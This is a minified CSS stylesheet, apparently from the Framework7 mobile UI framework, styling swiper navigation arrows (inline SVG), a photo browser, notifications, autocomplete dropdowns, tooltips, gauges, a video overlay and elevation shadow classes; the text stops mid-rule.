.swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .swiper-button-next,.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-gray,.ios .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-gray .swiper-pagination-bullet-active,.ios .color-theme-gray .swiper-pagination-bullet-active{background:#8e8e93}.ios .color-gray .swiper-pagination-progressbar,.ios .color-gray.swiper-pagination-progressbar,.ios .color-theme-gray .swiper-pagination-progressbar,.ios .color-theme-gray.swiper-pagination-progressbar{background:rgba(142,142,147,.25)}.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#8e8e93}.ios .color-theme-white .swiper-button-prev,.ios .color-theme-white .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-white,.ios .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-button-next,.ios .color-theme-white .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-white,.ios .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-pagination-bullet-active,.ios .color-white .swiper-pagination-bullet-active{background:#fff}.ios .color-theme-white .swiper-pagination-progressbar,.ios .color-theme-white.swiper-pagination-progressbar,.ios .color-white .swiper-pagination-progressbar,.ios .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.ios .color-theme-black .swiper-button-prev,.ios .color-theme-black .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-black,.ios .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .swiper-button-next,.ios .color-theme-black .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-black,.ios .swiper-container-rtl .swiper-button-prev.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-black .swiper-pagination-bullet-active,.ios .color-theme-black .swiper-pagination-bullet-active{background:#000}.ios .color-black .swiper-pagination-progressbar,.ios .color-black.swiper-pagination-progressbar,.ios .color-theme-black .swiper-pagination-progressbar,.ios .color-theme-black.swiper-pagination-progressbar{background:rgba(0,0,0,.25)}.ios .color-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-black.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#000}.photo-browser{position:absolute;left:0;top:0;width:100%;height:100%;z-index:400}.photo-browser-standalone.modal-in{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-in .4s;animation:photo-browser-in .4s}.photo-browser-standalone.modal-out{-webkit-transition-duration:0s;transition-duration:0s;-webkit-animation:photo-browser-out .4s;animation:photo-browser-out .4s}.photo-browser-standalone.modal-out.swipe-close-to-bottom,.photo-browser-standalone.modal-out.swipe-close-to-top{-webkit-animation:none;animation:none}.photo-browser-popup.modal-out.swipe-close-to-bottom,.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transition-duration:.3s;transition-duration:.3s}.photo-browser-popup.modal-out.swipe-close-to-bottom{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}.photo-browser-popup.modal-out.swipe-close-to-top{-webkit-transform:translate3d(0,-100vh,0);transform:translate3d(0,-100vh,0)}.page.photo-browser-page{background:0 0}.photo-browser-popup{background:0 0}.photo-browser-exposed .navbar,.photo-browser-exposed .toolbar{opacity:0;visibility:hidden;pointer-events:none}.photo-browser-exposed .photo-browser-swiper-container{background:#000}.photo-browser-of{margin:0 5px}.photo-browser-captions{pointer-events:none;position:absolute;left:0;width:100%;bottom:0;z-index:10;opacity:1;-webkit-transition:.4s;transition:.4s}.photo-browser-captions.photo-browser-captions-exposed{opacity:0}.photo-browser-caption{-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition:.3s;transition:.3s;position:absolute;bottom:0;left:0;opacity:0;padding:4px 5px;width:100%;text-align:center;color:#fff;background:rgba(0,0,0,.8)}.photo-browser-caption:empty{display:none}.photo-browser-caption.photo-browser-caption-active{opacity:1}.photo-browser-captions-light .photo-browser-caption{background:rgba(255,255,255,.8);color:#000}.photo-browser-captions-dark .photo-browser-caption{color:#fff}.photo-browser-exposed .photo-browser-caption{color:#fff;background:rgba(0,0,0,.8)}.photo-browser-swiper-container{position:absolute;left:0;top:0;width:100%;height:100%;overflow:hidden;background:#fff;-webkit-transition:.4s;transition:.4s;-webkit-transition-property:background-color;transition-property:background-color}.photo-browser-next.swiper-button-disabled,.photo-browser-prev.swiper-button-disabled{opacity:.3}.photo-browser-slide{width:100%;height:100%;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box}.photo-browser-slide.photo-browser-transitioning{-webkit-transition:.4s;transition:.4s;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.photo-browser-slide span.swiper-zoom-container{display:none}.photo-browser-slide img{width:auto;height:auto;max-width:100%;max-height:100%;display:none}.photo-browser-slide.swiper-slide-active span.swiper-zoom-container,.photo-browser-slide.swiper-slide-next span.swiper-zoom-container,.photo-browser-slide.swiper-slide-prev span.swiper-zoom-container{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex}.photo-browser-slide.swiper-slide-active img,.photo-browser-slide.swiper-slide-next img,.photo-browser-slide.swiper-slide-prev img{display:inline}.photo-browser-slide.swiper-slide-active.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-next.photo-browser-slide-lazy .preloader,.photo-browser-slide.swiper-slide-prev.photo-browser-slide-lazy .preloader{display:block}.photo-browser-slide iframe{width:100%;height:100%}.photo-browser-slide .preloader{display:none;position:absolute;width:42px;height:42px;margin-left:-21px;margin-top:-21px;left:50%;top:50%}.photo-browser-dark .photo-browser-swiper-container,.photo-browser-page-dark .photo-browser-swiper-container{background:#000}@-webkit-keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@keyframes photo-browser-in{0%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}}@-webkit-keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}@keyframes photo-browser-out{0%{-webkit-transform:translate3d(0,0,0) scale(1);transform:translate3d(0,0,0) scale(1);opacity:1}50%{-webkit-transform:translate3d(0,0,0) scale(1.05);transform:translate3d(0,0,0) scale(1.05);opacity:1}100%{-webkit-transform:translate3d(0,0,0) scale(.5);transform:translate3d(0,0,0) scale(.5);opacity:0}}.ios .toolbar~.photo-browser-captions{bottom:44px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .toolbar~.photo-browser-captions.photo-browser-captions-exposed{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.ios .photo-browser-exposed .toolbar~.photo-browser-captions{-webkit-transform:translate3d(0,44px,0);transform:translate3d(0,44px,0)}.ios .photo-browser-page .toolbar{-webkit-transform:none;transform:none}.ios .view.with-photo-browser-page-exposed .navbar{opacity:0}.ios .photo-browser-page .navbar,.ios .photo-browser-page .toolbar,.ios .view.with-photo-browser-page .navbar,.ios .view.with-photo-browser-page .toolbar{background:rgba(247,247,248,.95);-webkit-transition:.4s;transition:.4s}.ios .photo-browser-dark .navbar,.ios .photo-browser-dark .toolbar,.ios .photo-browser-page-dark .navbar,.ios .photo-browser-page-dark .toolbar,.ios .view.with-photo-browser-page-dark .navbar,.ios .view.with-photo-browser-page-dark .toolbar{background:rgba(30,30,30,.8);color:#fff}.ios .photo-browser-dark .navbar:before,.ios .photo-browser-dark .toolbar:before,.ios .photo-browser-page-dark .navbar:before,.ios .photo-browser-page-dark .toolbar:before,.ios .view.with-photo-browser-page-dark .navbar:before,.ios .view.with-photo-browser-page-dark .toolbar:before{display:none!important}.ios .photo-browser-dark .navbar:after,.ios .photo-browser-dark .toolbar:after,.ios .photo-browser-page-dark .navbar:after,.ios .photo-browser-page-dark .toolbar:after,.ios .view.with-photo-browser-page-dark .navbar:after,.ios .view.with-photo-browser-page-dark .toolbar:after{display:none!important}.ios .photo-browser-dark .navbar a,.ios .photo-browser-dark .toolbar a,.ios .photo-browser-page-dark .navbar a,.ios .photo-browser-page-dark .toolbar a,.ios .view.with-photo-browser-page-dark .navbar a,.ios .view.with-photo-browser-page-dark .toolbar a{color:#fff}.ios.device-iphone-x .photo-browser-captions{bottom:constant(safe-area-inset-bottom);bottom:env(safe-area-inset-bottom)}.ios.device-iphone-x .toolbar~.photo-browser-captions{bottom:calc(44px + constant(safe-area-inset-bottom));bottom:calc(44px + env(safe-area-inset-bottom))}.notification{position:absolute;left:0;top:0;width:100%;z-index:20000;font-size:14px;margin:0;border:none;display:none;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;direction:ltr}.notification-icon{font-size:0}.notification-header{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.notification-close-button{margin-left:auto;cursor:pointer}html.with-statusbar.device-ios .notification,html.with-statusbar.ios:not(.device-ios):not(.device-android) .notification{margin-top:20px}html.with-statusbar.device-android .notification,html.with-statusbar.md:not(.device-ios):not(.device-android) .notification{margin-top:24px}html.with-statusbar.device-iphone-x .notification{margin-top:constant(safe-area-inset-top);margin-top:env(safe-area-inset-top)}.ios .notification{left:8px;top:8px;width:calc(100% - 16px);background:rgba(250,250,250,.95);border-radius:12px;-webkit-box-shadow:0 5px 25px -10px rgba(0,0,0,.7);box-shadow:0 5px 25px -10px rgba(0,0,0,.7);padding:10px;color:#000;max-width:568px;-webkit-transition-duration:450ms;transition-duration:450ms;-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.ios .notification{background:rgba(255,255,255,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}@media (min-width:584px){.ios .notification{left:50%;width:568px;margin-left:-284px}}.ios .notification.modal-in{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);opacity:1}.ios .notification.modal-out{-webkit-transform:translate3d(0,-200%,0);transform:translate3d(0,-200%,0)}.ios .notification-icon{width:20px;height:20px;line-height:20px;margin-right:8px}.ios .notification-icon i{width:20px;height:20px;font-size:20px}.ios .notification-title{font-size:13px;text-transform:uppercase;letter-spacing:.02em}.ios .notification-subtitle{font-size:15px;font-weight:600;line-height:1.35}.ios .notification-text{font-size:15px;line-height:1.2}.ios .notification-header+.notification-content{margin-top:10px}.ios .notification-title-right-text{color:#444a51;font-size:13px;margin-right:6px;margin-left:auto}.ios .notification-title-right-text+.notification-close-button{margin-left:10px}.ios .notification-close-button{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20viewBox%3D'0%200%2044%2044'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cg%20stroke%3D'none'%20stroke-width%3D'1'%20fill%3D'none'%20fill-rule%3D'evenodd'%3E%3Cpath%20d%3D'M22.5%2C20.3786797%20L14.7218254%2C12.6005051%20L12.6005051%2C14.7218254%20L20.3786797%2C22.5%20L12.6005051%2C30.2781746%20L14.7218254%2C32.3994949%20L22.5%2C24.6213203%20L30.2781746%2C32.3994949%20L32.3994949%2C30.2781746%20L24.6213203%2C22.5%20L32.3994949%2C14.7218254%20L30.2781746%2C12.6005051%20L22.5%2C20.3786797%20Z%20M22%2C44%20C34.1502645%2C44%2044%2C34.1502645%2044%2C22%20C44%2C9.8497355%2034.1502645%2C0%2022%2C0%20C9.8497355%2C0%200%2C9.8497355%200%2C22%20C0%2C34.1502645%209.8497355%2C44%2022%2C44%20Z'%20fill%3D'%23000000'%3E%3C%2Fpath%3E%3C%2Fg%3E%3C%2Fsvg%3E");width:20px;height:20px;background-position:center top;background-repeat:no-repeat;background-size:100% auto;position:relative;opacity:.3;-webkit-transition-duration:.3s;transition-duration:.3s}.ios .notification-close-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.1}.ios .notification-close-button:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.autocomplete-page .autocomplete-found{display:block}.autocomplete-page .autocomplete-not-found{display:none}.autocomplete-page .autocomplete-values{display:block}.autocomplete-page .list ul:empty{display:none}.autocomplete-preloader:not(.autocomplete-preloader-visible){visibility:hidden}.autocomplete-preloader:not(.autocomplete-preloader-visible),.autocomplete-preloader:not(.autocomplete-preloader-visible) *{-webkit-animation:none;animation:none}.autocomplete-dropdown{background:#fff;-webkit-box-sizing:border-box;box-sizing:border-box;position:absolute;z-index:500;width:100%;right:0}.autocomplete-dropdown .autocomplete-dropdown-inner{position:relative;overflow:auto;-webkit-overflow-scrolling:touch;height:100%;z-index:1}.autocomplete-dropdown .autocomplete-preloader{display:none;position:absolute;bottom:100%;width:20px;height:20px}.autocomplete-dropdown .autocomplete-preloader-visible{display:block}.autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#a9a9a9}.autocomplete-dropdown .list{margin:0}.autocomplete-dropdown .list ul{background:0 0!important}.autocomplete-dropdown .list ul:before{display:none!important}.autocomplete-dropdown .list ul:after{display:none!important}.list .item-content-dropdown-expanded .item-title.item-label{width:0;-webkit-flex-shrink:10;-ms-flex-negative:10;flex-shrink:10;overflow:hidden}.list .item-content-dropdown-expanded .item-title.item-label+.item-input-wrap{margin-right:0}.list .item-content-dropdown-expanded .item-input-wrap{width:100%}.ios .autocomplete-dropdown{-webkit-box-shadow:0 3px 3px rgba(0,0,0,.2);box-shadow:0 3px 3px rgba(0,0,0,.2)}.ios .autocomplete-dropdown .autocomplete-preloader{left:15px;margin-bottom:12px}.ios .autocomplete-dropdown .list b{font-weight:600}.ios .searchbar-input-wrap .autocomplete-dropdown{margin-top:-32px;top:100%;background:#e8e8ea;z-index:20;border-radius:8px}.ios .searchbar-input-wrap .autocomplete-dropdown .item-content{padding-right:28px}.ios .searchbar-input-wrap .autocomplete-dropdown li:last-child{border-radius:0 0 8px 8px;position:relative;overflow:hidden}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-inner{padding-top:32px}.ios .searchbar-input-wrap .autocomplete-dropdown .autocomplete-dropdown-placeholder{color:#939398}.ios .theme-dark .autocomplete-dropdown{background-color:#1c1c1d}.ios .theme-dark .searchbar-input-wrap .autocomplete-dropdown{background-color:#171717}.tooltip{position:absolute;z-index:20000;background:rgba(0,0,0,.87);border-radius:4px;padding:8px 16px;color:#fff;font-size:14px;-webkit-box-sizing:border-box;box-sizing:border-box;line-height:1.2;opacity:0;-webkit-transform:scale(.9);transform:scale(.9);-webkit-transition-duration:150ms;transition-duration:150ms;-webkit-transition-property:opacity,-webkit-transform;transition-property:opacity,-webkit-transform;transition-property:opacity,transform;transition-property:opacity,transform,-webkit-transform;z-index:99000;font-weight:500}.tooltip.tooltip-in{-webkit-transform:scale(1);transform:scale(1);opacity:1}.tooltip.tooltip-out{opacity:0;-webkit-transform:scale(1);transform:scale(1)}.device-desktop .tooltip{font-size:12px;padding:6px 8px}.gauge{position:relative;text-align:center;margin-left:auto;margin-right:auto;display:inline-block}.gauge svg,.gauge-svg{max-width:100%;height:auto}.gauge svg circle,.gauge svg path,.gauge-svg circle,.gauge-svg path{-webkit-transition-duration:.4s;transition-duration:.4s}iframe#viAd{z-index:12900!important;background:#000!important}.vi-overlay{background:rgba(0,0,0,.85);z-index:13100;position:absolute;left:0;top:0;width:100%;height:100%;border-radius:3px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;text-align:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}@supports ((-webkit-backdrop-filter:blur(10px)) or (backdrop-filter:blur(10px))){.vi-overlay{background:rgba(0,0,0,.65);-webkit-backdrop-filter:blur(10px);backdrop-filter:blur(10px)}}.vi-overlay .vi-overlay-text{text-align:center;color:#fff;max-width:80%}.vi-overlay .vi-overlay-text+.vi-overlay-play-button{margin-top:15px}.vi-overlay .vi-overlay-play-button{width:44px;height:44px;border-radius:50%;border:2px solid #fff;position:relative}.vi-overlay .vi-overlay-play-button.active-state{opacity:.55}.vi-overlay .vi-overlay-play-button:before{content:'';width:0;height:0;border-top:8px solid transparent;border-bottom:8px solid transparent;border-left:14px solid #fff;position:absolute;left:50%;top:50%;margin-left:2px;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.elevation-0{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.elevation-1{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.elevation-2{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 5px 0 rgba(0,0,0,.12)!important}.elevation-3{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)!important}.elevation-4{-webkit-box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 4px -1px rgba(0,0,0,.2),0 4px 5px 0 rgba(0,0,0,.14),0 1px 10px 0 rgba(0,0,0,.12)!important}.elevation-5{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 5px 8px 0 rgba(0,0,0,.14),0 1px 14px 0 rgba(0,0,0,.12)!important}.elevation-6{-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important;box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)!important}.elevation-7{-webkit-box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important;box-shadow:0 4px 5px -2px rgba(0,0,0,.2),0 7px 10px 1px rgba(0,0,0,.14),0 2px 16px 1px rgba(0,0,0,.12)!important}.elevation-8{-webkit-box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 5px -3px rgba(0,0,0,.2),0 8px 10px 1px rgba(0,0,0,.14),0 3px 14px 2px rgba(0,0,0,.12)!important}.elevation-9{-webkit-box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important;box-shadow:0 5px 6px -3px rgba(0,0,0,.2),0 9px 12px 1px rgba(0,0,0,.14),0 3px 16px 2px rgba(0,0,0,.12)!important}.elevation-10{-webkit-box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 6px -3px rgba(0,0,0,.2),0 10px 14px 1px rgba(0,0,0,.14),0 4px 18px 3px rgba(0,0,0,.12)!important}.elevation-11{-webkit-box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important;box-shadow:0 6px 7px -4px rgba(0,0,0,.2),0 11px 15px 1px rgba(0,0,0,.14),0 4px 20px 3px rgba(0,0,0,.12)!important}.elevation-12{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 12px 17px 2px rgba(0,0,0,.14),0 5px 22px 4px rgba(0,0,0,.12)!important}.elevation-13{-webkit-box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 8px -4px rgba(0,0,0,.2),0 13px 19px 2px rgba(0,0,0,.14),0 5px 24px 4px rgba(0,0,0,.12)!important}.elevation-14{-webkit-box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important;box-shadow:0 7px 9px -4px rgba(0,0,0,.2),0 14px 21px 2px rgba(0,0,0,.14),0 5px 26px 4px rgba(0,0,0,.12)!important}.elevation-15{-webkit-box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 9px -5px rgba(0,0,0,.2),0 15px 22px 2px rgba(0,0,0,.14),0 6px 28px 5px rgba(0,0,0,.12)!important}.elevation-16{-webkit-box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 10px -5px rgba(0,0,0,.2),0 16px 24px 2px rgba(0,0,0,.14),0 6px 30px 5px rgba(0,0,0,.12)!important}.elevation-17{-webkit-box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important;box-shadow:0 8px 11px -5px rgba(0,0,0,.2),0 17px 26px 2px rgba(0,0,0,.14),0 6px 32px 5px rgba(0,0,0,.12)!important}.elevation-18{-webkit-box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 11px -5px rgba(0,0,0,.2),0 18px 28px 2px rgba(0,0,0,.14),0 7px 34px 6px rgba(0,0,0,.12)!important}.elevation-19{-webkit-box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important;box-shadow:0 9px 12px -6px rgba(0,0,0,.2),0 19px 29px 2px rgba(0,0,0,.14),0 7px 36px 6px rgba(0,0,0,.12)!important}.elevation-20{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 20px 31px 3px rgba(0,0,0,.14),0 8px 38px 7px rgba(0,0,0,.12)!important}.elevation-21{-webkit-box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 13px -6px rgba(0,0,0,.2),0 21px 33px 3px rgba(0,0,0,.14),0 8px 40px 7px rgba(0,0,0,.12)!important}.elevation-22{-webkit-box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important;box-shadow:0 10px 14px -6px rgba(0,0,0,.2),0 22px 35px 3px rgba(0,0,0,.14),0 8px 42px 7px rgba(0,0,0,.12)!important}.elevation-23{-webkit-box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 14px -7px rgba(0,0,0,.2),0 23px 36px 3px rgba(0,0,0,.14),0 9px 44px 8px rgba(0,0,0,.12)!important}.elevation-24{-webkit-box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important;box-shadow:0 11px 15px -7px rgba(0,0,0,.2),0 24px 38px 3px rgba(0,0,0,.14),0 9px 46px 8px rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-0:hover{-webkit-box-shadow:0 0 0 0 transparent!important;box-shadow:0 0 0 0 transparent!important}.device-desktop .elevation-hover-1:hover{-webkit-box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important;box-shadow:0 2px 1px -1px rgba(0,0,0,.2),0 1px 1px 0 rgba(0,0,0,.14),0 1px 3px 0 rgba(0,0,0,.12)!important}.device-desktop .elevation-hover-2:hover{-webkit-box-shadow:0 3px 1px -2px rgba(0,0,0,.2),0 2px 2px 0 rgba(0,0,0,.14),0 1px 